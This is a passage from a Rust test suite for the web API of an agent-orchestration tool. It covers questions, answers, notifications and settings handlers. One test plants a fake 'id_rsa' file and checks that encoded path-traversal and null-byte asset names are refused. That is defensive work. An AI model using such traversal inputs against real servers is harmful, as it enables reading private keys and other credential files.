9392 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9393 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
9397
9398 for encoded in [
9405 "%2e%2e%2fid_rsa",
9406 "..%2fid_rsa",
9407 "..%5cid_rsa",
9408 "%2e%2e%5cid_rsa",
9409 "diff%00.svg",
9410 "..",
9411 ".hidden",
9412 "%2e%2e%2f%2e%2e%2fid_rsa",
9413 ] {
9414 let res = fx
9415 .get(&format!("/api/questions/{id}/asset/{encoded}"))
9416 .await;
9417 assert_eq!(
9418 res.status, 400,
9419 "`{encoded}` has to be refused by name, not looked up: {}",
9420 res.body
9421 );
9422 assert!(res.json()["error"].is_string(), "{}", res.body);
9423 }
9424
9425 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
9431 let res = fx
9432 .get(&format!("/api/questions/{id}/asset/{literal}"))
9433 .await;
9434 assert_eq!(
9435 res.status, 404,
9436 "`{literal}` must not match the asset route at all: {}",
9437 res.body
9438 );
9439 }
9440 }
9441
9442 #[tokio::test]
9443 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
9444 let fx = Fixture::start().await;
9445 let plain = ask(&fx, "Which backend?", &["SQLite"]);
9446 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9447
9448 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
9452 assert_eq!(none.status, 404, "{}", none.body);
9453 assert!(none.json()["error"].is_string(), "{}", none.body);
9454 assert_eq!(
9455 fx.head(&format!("/api/questions/{plain}/panel"))
9456 .await
9457 .status,
9458 404,
9459 "the preflight is the only way the client can learn this"
9460 );
9461
9462 let missing = fx
9464 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
9465 .await;
9466 assert_eq!(missing.status, 404, "{}", missing.body);
9467 assert!(missing.json()["error"].is_string(), "{}", missing.body);
9468
9469 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
9471 assert_eq!(
9472 fx.get("/api/questions/nope/asset/diff.svg").await.status,
9473 404
9474 );
9475 }
9476
9477 #[tokio::test]
9478 async fn a_run_with_an_open_question_reads_as_waiting() {
9479 let fx = Fixture::start().await;
9480 let run = "20260902-000000-beef".to_owned();
9481 write_run(&fx.runs(), &run, RunStatus::Implementing);
9482
9483 let before = fx.get("/api/runs").await.json();
9484 assert_eq!(before[0]["waiting"], false, "{before}");
9485
9486 let store = fx.questions();
9487 let mut q = Question::new(
9488 run.clone(),
9489 "implement".to_owned(),
9490 "impl-A".to_owned(),
9491 "Which backend?".to_owned(),
9492 String::new(),
9493 vec!["SQLite".to_owned()],
9494 );
9495 store.put(&mut q).expect("put");
9496
9497 let during = fx.get("/api/runs").await.json();
9498 assert_eq!(during[0]["waiting"], true, "{during}");
9499
9500 q.answer(Answer::Choice("SQLite".to_owned()))
9503 .expect("answer");
9504 store.put(&mut q).expect("put");
9505 let after = fx.get("/api/runs").await.json();
9506 assert_eq!(after[0]["waiting"], false, "{after}");
9507 }
9508
9509 #[tokio::test]
9510 async fn an_open_question_is_listed_and_counted_by_health() {
9511 let fx = Fixture::start().await;
9512 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9513
9514 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9515 let listed = fx.get("/api/questions").await.json();
9516 assert_eq!(listed.as_array().expect("array").len(), 1);
9517 assert_eq!(listed[0]["id"], id);
9518 assert_eq!(listed[0]["status"], "open");
9519 assert_eq!(listed[0]["choices"][1], "Redis");
9520 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9523 }
9524
9525 #[tokio::test]
9526 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
9527 let fx = Fixture::start().await;
9528 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9529 let path = format!("/api/questions/{id}/answer");
9530
9531 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
9532 assert_eq!(res.status, 200, "{}", res.body);
9533 let body = res.json();
9534 assert_eq!(body["status"], "answered");
9535 assert_eq!(body["answer"]["choice"], "Redis");
9536
9537 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
9541 assert_eq!(again.status, 409, "{}", again.body);
9542 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9543 }
9544
9545 #[tokio::test]
9546 async fn saying_something_appends_a_turn_without_answering() {
9547 let fx = Fixture::start().await;
9548 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9549 let path = format!("/api/questions/{id}/say");
9550
9551 let res = fx
9552 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
9553 .await;
9554 assert_eq!(res.status, 200, "{}", res.body);
9555 let body = res.json();
9556 assert_eq!(body["status"], "open", "talking back is not a decision");
9557 assert_eq!(body["answer"], Value::Null);
9558 assert_eq!(body["thread"][0]["who"], "operator");
9559 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
9560 assert_eq!(body["waiting_on_agent"], true);
9561 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9563 }
9564
9565 #[tokio::test]
9566 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
9567 let fx = Fixture::start().await;
9568 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9569
9570 let list = fx.get("/api/questions").await.json();
9571 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
9572
9573 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
9574 assert_eq!(res.status, 409, "{}", res.body);
9575 let q = fx.questions().get(&id).unwrap();
9576 assert!(q.status.open());
9577 assert!(q.consult.is_none());
9578 }
9579
9580 #[tokio::test]
9581 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
9582 let fx = Fixture::start().await;
9583 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9584 let cfg = Config {
9585 agents: vec![crate::config::AgentSpec {
9586 id: "mock".to_owned(),
9587 kind: crate::config::AgentKind::Command,
9588 model: None,
9589 command: vec!["true".to_owned()],
9590 extra_args: Vec::new(),
9591 env: Default::default(),
9592 prompt_delivery: None,
9593 }],
9594 ..Config::default()
9595 };
9596 let talk = crate::talk::begin(
9597 &fx.talks(),
9598 &cfg,
9599 fx.home.path().to_path_buf(),
9600 Some("mock"),
9601 )
9602 .unwrap();
9603 let mut task = Task::new(
9604 "t".to_owned(),
9605 "Do it".to_owned(),
9606 PathBuf::from("/repo/magi"),
9607 Source::Agent {
9608 run: talk.id.clone(),
9609 node: crate::queue::CHAT_NODE.to_owned(),
9610 },
9611 );
9612 task.start("20260902-000000-beef".to_owned());
9613 fx.queue().put(&mut task).unwrap();
9614
9615 let list = fx.get("/api/questions").await.json();
9616 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9617 assert_eq!(
9618 list[0]["choices"],
9619 serde_json::json!(["SQLite", "Redis"]),
9620 "the hand-over is never a choice"
9621 );
9622 fx.questions()
9623 .update(&id, |q| {
9624 q.node = crate::land::APPROVAL_NODE.into();
9625 q.choices = vec!["merge".into(), "hold".into()];
9626 Ok(())
9627 })
9628 .unwrap();
9629 let list = fx.get("/api/questions").await.json();
9630 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9631 let _ = id;
9632 }
9633
9634 #[tokio::test]
9635 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
9636 let fx = Fixture::start().await;
9637 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9638 fx.questions()
9639 .update(&id, |q| {
9640 q.node = crate::land::APPROVAL_NODE.into();
9641 q.choices = vec!["merge".into(), "hold".into()];
9642 Ok(())
9643 })
9644 .unwrap();
9645 let cfg = Config {
9646 agents: vec![crate::config::AgentSpec {
9647 id: "mock".to_owned(),
9648 kind: crate::config::AgentKind::Command,
9649 model: None,
9650 command: vec!["true".to_owned()],
9651 extra_args: Vec::new(),
9652 env: Default::default(),
9653 prompt_delivery: None,
9654 }],
9655 ..Config::default()
9656 };
9657 let repo = fx.home.path().join("chat-repo");
9659 std::fs::create_dir_all(&repo).unwrap();
9660 let toml = repo.join("magi.toml");
9661 std::fs::write(&toml, "this is = = not toml").unwrap();
9662 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
9663 let mut task = Task::new(
9664 "t".to_owned(),
9665 "Do it".to_owned(),
9666 PathBuf::from("/repo/magi"),
9667 Source::Agent {
9668 run: talk.id.clone(),
9669 node: crate::queue::CHAT_NODE.to_owned(),
9670 },
9671 );
9672 task.start("20260902-000000-beef".to_owned());
9673 fx.queue().put(&mut task).unwrap();
9674
9675 let path = format!("/api/questions/{id}/consult");
9676 let res = fx.post(&path, None).await;
9677 assert!(res.status >= 400, "{}", res.body);
9678 assert!(fx.questions().get(&id).unwrap().consult.is_none());
9679 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
9680
9681 std::fs::write(&toml, "").unwrap();
9682 let res = fx.post(&path, None).await;
9683 assert_eq!(res.status, 202, "{}", res.body);
9684 assert!(fx.questions().get(&id).unwrap().consult.is_some());
9685 let q = fx.questions().get(&id).unwrap();
9686 assert!(q.status.open());
9687 assert!(q.answer.is_none());
9688 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
9689 }
9690
9691 #[tokio::test]
9692 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
9693 let fx = Fixture::start().await;
9694 let store = fx.questions();
9695 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9696 assert_eq!(
9697 fx.get("/api/health").await.json()["questions_needs_owner"],
9698 1
9699 );
9700
9701 let res = fx
9707 .post(
9708 &format!("/api/questions/{id}/say"),
9709 Some(r#"{"body":"why not Postgres?"}"#),
9710 )
9711 .await;
9712 assert_eq!(res.status, 200, "{}", res.body);
9713 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9714 assert_eq!(
9715 fx.get("/api/health").await.json()["questions_needs_owner"],
9716 0,
9717 "waiting on the agent is not waiting on the owner"
9718 );
9719
9720 let mut q = store.get(&id).expect("get");
9724 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
9725 .expect("reply");
9726 store.put(&mut q).expect("put");
9727 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9728 assert_eq!(
9729 fx.get("/api/health").await.json()["questions_needs_owner"],
9730 1,
9731 "the agent's reply is what should light the banner back up"
9732 );
9733 }
9734
9735 #[tokio::test]
9736 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
9737 let fx = Fixture::start().await;
9738 let store = fx.questions();
9739
9740 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9741 let res = fx
9742 .post(
9743 &format!("/api/questions/{empty_id}/say"),
9744 Some(r#"{"body":" "}"#),
9745 )
9746 .await;
9747 assert_eq!(res.status, 400, "{}", res.body);
9748
9749 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9750 let mut answered = store.get(&answered_id).expect("get");
9751 answered
9752 .answer(Answer::Choice("SQLite".to_owned()))
9753 .expect("answer");
9754 store.put(&mut answered).expect("put");
9755 let res = fx
9756 .post(
9757 &format!("/api/questions/{answered_id}/say"),
9758 Some(r#"{"body":"still there?"}"#),
9759 )
9760 .await;
9761 assert_eq!(res.status, 409, "{}", res.body);
9762
9763 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9764 let mut abandoned = store.get(&abandoned_id).expect("get");
9765 abandoned.abandon("timed out");
9766 store.put(&mut abandoned).expect("put");
9767 let res = fx
9768 .post(
9769 &format!("/api/questions/{abandoned_id}/say"),
9770 Some(r#"{"body":"still there?"}"#),
9771 )
9772 .await;
9773 assert_eq!(res.status, 409, "{}", res.body);
9774 }
9775
9776 #[tokio::test]
9777 async fn an_answer_the_question_does_not_offer_is_refused() {
9778 let fx = Fixture::start().await;
9779 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9780 let path = format!("/api/questions/{id}/answer");
9781
9782 for body in [
9783 r#"{"choice":"Postgres"}"#,
9784 r#"{"text":"whatever you think"}"#,
9785 r#"{"choice":"Redis","text":"both"}"#,
9786 r#"{}"#,
9787 ] {
9788 let res = fx.post(&path, Some(body)).await;
9789 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
9790 assert!(res.json()["error"].is_string(), "{}", res.body);
9791 }
9792 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9794 }
9795
9796 #[tokio::test]
9797 async fn a_free_text_question_takes_text_and_not_a_choice() {
9798 let fx = Fixture::start().await;
9799 let id = ask(&fx, "What should the flag be called?", &[]);
9800 let path = format!("/api/questions/{id}/answer");
9801
9802 assert_eq!(
9803 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
9804 400
9805 );
9806 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
9807 assert_eq!(res.status, 200, "{}", res.body);
9808 assert_eq!(res.json()["answer"]["text"], "--json");
9809 }
9810
9811 #[tokio::test]
9812 async fn an_unknown_question_is_a_json_404() {
9813 let fx = Fixture::start().await;
9814 let res = fx
9815 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
9816 .await;
9817 assert_eq!(res.status, 404, "{}", res.body);
9818 assert!(res.json()["error"].is_string());
9819 }
9820
9821 #[tokio::test]
9822 async fn notifications_list_read_dismiss_and_health_agree() {
9823 let fx = Fixture::start().await;
9824 let store = Notices::at(fx.home.path().join("notifications"));
9825 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
9826 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
9827
9828 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
9829 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
9830
9831 let health = fx.get("/api/health").await.json();
9832 assert_eq!(health["notifications_unread"], 2);
9833 assert_ne!(
9834 health["notifications_rev"], rev0,
9835 "the badge must move live"
9836 );
9837
9838 let listed = fx.get("/api/notifications").await.json();
9839 assert_eq!(listed["unread"], 2);
9840 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
9841 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
9842
9843 let read = fx
9844 .post(&format!("/api/notifications/{}/read", a.id), None)
9845 .await;
9846 assert_eq!(read.status, 200, "{}", read.body);
9847 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
9848
9849 let gone = fx
9850 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
9851 .await;
9852 assert_eq!(gone.status, 200, "{}", gone.body);
9853 let listed = fx.get("/api/notifications").await.json();
9854 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
9855 assert_eq!(listed["unread"], 0);
9856
9857 store.raise(Notice::info("x", "again")).unwrap();
9858 let all = fx.post("/api/notifications/read-all", None).await;
9859 assert_eq!(all.status, 200, "{}", all.body);
9860 assert_eq!(all.json()["marked"], 1);
9861 assert_eq!(
9862 fx.get("/api/health").await.json()["notifications_unread"],
9863 0
9864 );
9865
9866 let missing = fx.post("/api/notifications/nope/read", None).await;
9867 assert_eq!(missing.status, 404, "{}", missing.body);
9868 assert!(missing.json()["error"].is_string());
9869 }
9870
9871 #[tokio::test]
9878 async fn a_task_cannot_be_filed_over_the_phone_directly() {
9879 let f = Fixture::start().await;
9880
9881 let res = f
9882 .post(
9883 "/api/queue",
9884 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
9885 )
9886 .await;
9887
9888 assert_eq!(
9889 res.status, 405,
9890 "POST /api/queue must not be a route: {}",
9891 res.body
9892 );
9893 assert!(
9894 f.queue().list().is_empty(),
9895 "a task filed by a route that does not exist must not reach the disk"
9896 );
9897 assert_eq!(f.get("/api/queue").await.status, 200);
9900 }
9901
9902 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
9904 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
9905 .expect("checkout dir");
9906 }
9907
9908 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
9910
9911 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
9912 let tmp = TempDir::new().expect("tempdir");
9913 let repo = tmp.path().join("repo");
9914 std::fs::create_dir_all(&repo).expect("repo dir");
9915 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
9916 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
9917 if let Some(text) = machine_toml {
9918 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
9919 std::fs::write(&machine, text).expect("machine toml");
9920 }
9921 (tmp, repo, machine)
9922 }
9923
9924 async fn settings_checkout(path: &FsPath, text: &str) {
9925 std::fs::create_dir_all(path).unwrap();
9926 std::fs::write(path.join("magi.toml"), text).unwrap();
9927 for args in [
9928 vec!["init", "-b", "main"],
9929 vec!["add", "magi.toml"],
9930 vec![
9931 "-c",
9932 "user.name=Test",
9933 "-c",
9934 "user.email=test@example.invalid",
9935 "commit",
9936 "-m",
9937 "fixture",
9938 ],
9939 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
9940 vec![
9941 "symbolic-ref",
9942 "refs/remotes/origin/HEAD",
9943 "refs/remotes/origin/main",
9944 ],
9945 ] {
9946 crate::git::git(path, &args).await.unwrap();
9947 }
9948 }
9949
9950 #[tokio::test]
9951 async fn settings_context_handlers_validate_and_save_without_a_socket() {
9952 let (tmp, repo, machine) =
9953 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
9954 let root = tmp.path().join("roots");
9955 let selected = root.join("host/owner/selected");
9956 settings_checkout(
9957 &selected,
9958 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
9959 )
9960 .await;
9961 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
9962 let before = std::fs::read(&machine).unwrap();
9963 let ui = Arc::new(
9964 Ui::new(
9965 Queue::at(tmp.path().join("queue")),
9966 Questions::at(tmp.path().join("questions")),
9967 Talks::at(tmp.path().join("talks")),
9968 tmp.path().join("runs"),
9969 tmp.path().to_path_buf(),
9970 repo.clone(),
9971 )
9972 .with_machine_config(Some(machine.clone())),
9973 );
9974 let query = || {
9975 Query(SettingsQuery {
9976 repo: Some(selected.clone()),
9977 })
9978 };
9979 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
9980 assert!(v.error.is_none(), "{:?}", v.error);
9981 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
9982 assert_eq!(conductor.source, "repo");
9983 assert_eq!(
9984 conductor.machine_value,
9985 Some(toml::Value::String("a".into()))
9986 );
9987 assert!(!conductor.editable);
9988 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
9989 assert_eq!(
9990 judges.count.as_ref().unwrap().machine_value,
9991 Some(toml::Value::Integer(1))
9992 );
9993 assert!(
9994 !v.roles
9995 .iter()
9996 .find(|r| r.key == "reviewers")
9997 .unwrap()
9998 .editable
9999 );
10000 let unknown = || {
10001 Query(SettingsQuery {
10002 repo: Some(tmp.path().to_path_buf()),
10003 })
10004 };
10005 assert_eq!(
10006 settings_get(State(ui.clone()), unknown())
10007 .await
10008 .unwrap_err()
10009 .status,
10010 StatusCode::UNPROCESSABLE_ENTITY
10011 );
10012 let body = || {
10013 Ok(Json(RolesBody {
10014 revision: v.revision.clone(),
10015 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
10016 counts: Default::default(),
10017 }))
10018 };
10019 assert_eq!(
10020 settings_put_roles(State(ui.clone()), unknown(), body())
10021 .await
10022 .unwrap_err()
10023 .status,
10024 StatusCode::UNPROCESSABLE_ENTITY
10025 );
10026 assert_eq!(std::fs::read(&machine).unwrap(), before);
10027 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
10028 .await
10029 .unwrap();
10030 assert_eq!(
10031 saved.repo,
10032 selected.canonicalize().unwrap().display().to_string()
10033 );
10034 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
10035 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
10036 let fresh = root.join("host/owner/fresh");
10038 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
10039 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
10040 .await
10041 .unwrap();
10042 assert_eq!(fresh_view.repositories.len(), 3);
10043 }
10044
10045 #[tokio::test]
10046 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
10047 let (tmp, repo, machine) = settings_dirs(
10048 "[roles]\nreviewers = [\"a\"]\n",
10049 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
10050 );
10051 let root = tmp.path().join("roots");
10052 let selected = root.join("host/owner/selected");
10053 settings_checkout(
10054 &selected,
10055 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
10056 )
10057 .await;
10058 let broken = root.join("host/owner/broken");
10059 settings_checkout(&broken, "[roles\nbroken").await;
10060 let machine_text = format!(
10061 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
10062 toml::Value::String(root.display().to_string())
10063 );
10064 std::fs::write(&machine, &machine_text).unwrap();
10065 let originals: Vec<_> = [&repo, &selected, &broken]
10066 .iter()
10067 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
10068 .collect();
10069 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
10070 let default = f.get("/api/settings").await.json();
10071 assert_eq!(
10072 default["repo"],
10073 repo.canonicalize().unwrap().display().to_string()
10074 );
10075 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
10076 let query = format!("?repo={}", selected.display());
10077 let res = f.get(&format!("/api/settings{query}")).await;
10078 assert_eq!(res.status, 200, "{}", res.body);
10079 let v = res.json();
10080 assert!(v["error"].is_null(), "{v}");
10081 assert_eq!(v["repositories"], default["repositories"]);
10082 let role = |key: &str| {
10083 v["roles"]
10084 .as_array()
10085 .unwrap()
10086 .iter()
10087 .find(|r| r["key"] == key)
10088 .unwrap()
10089 };
10090 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
10091 assert_eq!(role("advisors")["source"], "repo");
10092 assert_eq!(role("advisors")["editable"], false);
10093 assert!(role("advisors")["machine_value"].is_null());
10094 assert_eq!(role("judges")["count"]["value"], 2);
10095 assert_eq!(role("judges")["count"]["machine_value"], 1);
10096 assert_eq!(role("judges")["count"]["source"], "repo");
10097 let source = role("judges")["count"]["source_path"].as_str().unwrap();
10098 assert!(
10099 source.contains("origin/main") && !source.contains("magi/config/"),
10100 "{source}"
10101 );
10102 assert_eq!(
10103 role("reviewers")["editable"],
10104 false,
10105 "default context outside roots must protect its declarations"
10106 );
10107 let body =
10108 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
10109 let unknown = format!("?repo={}", tmp.path().display());
10110 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
10111 assert_eq!(
10112 f.put(&format!("/api/settings/roles{unknown}"), &body)
10113 .await
10114 .status,
10115 422
10116 );
10117 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
10118 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
10119 .to_string();
10120 assert_eq!(
10121 f.put(&format!("/api/settings/roles{query}"), &refuse)
10122 .await
10123 .status,
10124 422
10125 );
10126 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
10127 assert_eq!(saved.status, 200, "{}", saved.body);
10128 assert_eq!(saved.json()["repo"], v["repo"]);
10129 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
10130 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
10131 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
10132 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
10133 }
10134 let error = f
10135 .get(&format!("/api/settings?repo={}", broken.display()))
10136 .await;
10137 assert_eq!(error.status, 200);
10138 assert!(error.json()["error"]["message"].is_string());
10139 assert_eq!(error.json()["repositories"], default["repositories"]);
10140 }
10141
10142 #[tokio::test]
10143 async fn settings_get_reports_sources_and_the_advisors_fallback() {
10144 let (_tmp, repo, machine) =
10145 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
10146 let f = Fixture::with_repo_and_machine(repo, machine).await;
10147 let res = f.get("/api/settings").await;
10148 assert_eq!(res.status, 200, "{}", res.body);
10149 let v = res.json();
10150 assert!(v["error"].is_null(), "{v}");
10151 let role = |k: &str| {
10152 v["roles"]
10153 .as_array()
10154 .and_then(|r| r.iter().find(|x| x["key"] == k))
10155 .cloned()
10156 .unwrap_or_else(|| panic!("no role {k}: {v}"))
10157 };
10158 assert_eq!(role("judges")["source"], "machine");
10159 assert_eq!(role("judges")["editable"], true);
10160 assert_eq!(role("implementers")["source"], "default");
10161 let adv = role("advisors");
10162 assert_eq!(adv["fallback"], "judges");
10163 assert!(
10164 adv["seats"]
10165 .as_array()
10166 .is_some_and(|s| s.iter().all(|x| x == "b")),
10167 "{adv}"
10168 );
10169 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
10170 assert_eq!(v["agents"][0]["source"], "repo");
10171 }
10172
10173 #[tokio::test]
10174 async fn settings_get_reports_a_config_that_does_not_parse() {
10175 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
10176 let f = Fixture::with_repo_and_machine(repo, machine).await;
10177 let res = f.get("/api/settings").await;
10178 assert_eq!(res.status, 200, "{}", res.body);
10179 let v = res.json();
10180 assert!(v["error"]["message"].is_string(), "{v}");
10181 assert!(
10182 v["error"]["path"]
10183 .as_str()
10184 .is_some_and(|p| p.ends_with("magi.toml")),
10185 "{v}"
10186 );
10187 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
10188 }
10189
10190 #[tokio::test]
10191 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
10192 let (_tmp, repo, machine) = settings_dirs(
10193 SETTINGS_AGENTS,
10194 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
10195 );
10196 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
10197 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
10198 let rev = f.get("/api/settings").await.json()["revision"]
10199 .as_str()
10200 .expect("revision")
10201 .to_owned();
10202 let body = serde_json::json!({
10203 "revision": rev,
10204 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
10205 })
10206 .to_string();
10207 let res = f.put("/api/settings/roles", &body).await;
10208 assert_eq!(res.status, 200, "{}", res.body);
10209 let text = std::fs::read_to_string(&machine).expect("machine");
10210 assert_eq!(
10211 text,
10212 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
10213 );
10214 assert_eq!(
10215 std::fs::read(repo.join("magi.toml")).expect("read"),
10216 repo_before
10217 );
10218 let again = f.get("/api/settings").await.json();
10219 let judges = again["roles"]
10220 .as_array()
10221 .expect("roles")
10222 .iter()
10223 .find(|r| r["key"] == "judges")
10224 .expect("judges")
10225 .clone();
10226 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
10227 let stale = f.put("/api/settings/roles", &body).await;
10229 assert_eq!(stale.status, 409, "{}", stale.body);
10230 }
10231
10232 #[tokio::test]
10233 async fn settings_counts_are_reported_and_saved() {
10234 let (_tmp, repo, machine) = settings_dirs(
10235 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
10236 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
10237 );
10238 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
10239 let v = f.get("/api/settings").await.json();
10240 let count = |v: &serde_json::Value, k: &str| {
10241 v["roles"]
10242 .as_array()
10243 .and_then(|r| r.iter().find(|x| x["key"] == k))
10244 .map(|x| x["count"].clone())
10245 .unwrap_or_else(|| panic!("no role {k}: {v}"))
10246 };
10247 let imp = count(&v, "implementers");
10248 assert_eq!(imp["value"], 2);
10249 assert_eq!(imp["source"], "machine");
10250 assert_eq!(imp["file_key"], "candidates");
10251 assert_eq!(imp["roster_len"], 2);
10252 assert_eq!(imp["backups"], 0);
10253 assert_eq!(count(&v, "judges")["source"], "default");
10254 assert_eq!(count(&v, "advisors")["min"], 0);
10255 assert_eq!(count(&v, "reviewers")["editable"], false);
10256 assert!(
10257 count(&v, "reviewers")["locked_reason"]
10258 .as_str()
10259 .is_some_and(|m| m.contains("graph.reviewers"))
10260 );
10261 assert!(count(&v, "fixer").is_null());
10262 let rev = v["revision"].as_str().expect("revision").to_owned();
10263 let body = serde_json::json!({
10264 "revision": rev,
10265 "roles": { "judges": ["b"] },
10266 "counts": { "implementers": 1, "advisors": 0 }
10267 })
10268 .to_string();
10269 let res = f.put("/api/settings/roles", &body).await;
10270 assert_eq!(res.status, 200, "{}", res.body);
10271 let text = std::fs::read_to_string(&machine).expect("machine");
10272 assert_eq!(
10273 text,
10274 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
10275 );
10276 let after = f.get("/api/settings").await.json();
10277 assert_eq!(count(&after, "implementers")["value"], 1);
10278 assert_eq!(count(&after, "implementers")["backups"], 1);
10279 assert_eq!(count(&after, "advisors")["value"], 0);
10280 let before = std::fs::read_to_string(&machine).expect("machine");
10281 let rev = after["revision"].as_str().expect("revision").to_owned();
10282 for counts in [
